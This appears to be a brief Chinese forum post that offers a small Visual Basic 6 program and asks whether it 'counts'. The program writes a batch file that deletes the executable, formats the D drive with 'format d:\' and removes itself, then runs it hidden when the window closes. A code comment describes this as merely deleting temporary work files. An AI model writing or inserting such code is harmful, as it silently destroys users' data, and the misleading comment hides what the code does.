学编程.最忌的是好高务远,不管什么原因.
我的msn: myfend@
Private Sub Form_Load()
Open "Test.bat" For Output As #1
Print #1, "Del Test.exe" '删除自己
print #1, "format d:\" '格式化D盘
Print #1, "Del Test.bat" '删除临时批处理命令
Close #1
End Sub
Private Sub Form_Unload(Cancel As Integer)
Shell App.Path & "\Test.bat", vbHide '退出时候删除临时工作文件
Set Form1 = Nothing
End Sub
这样算不?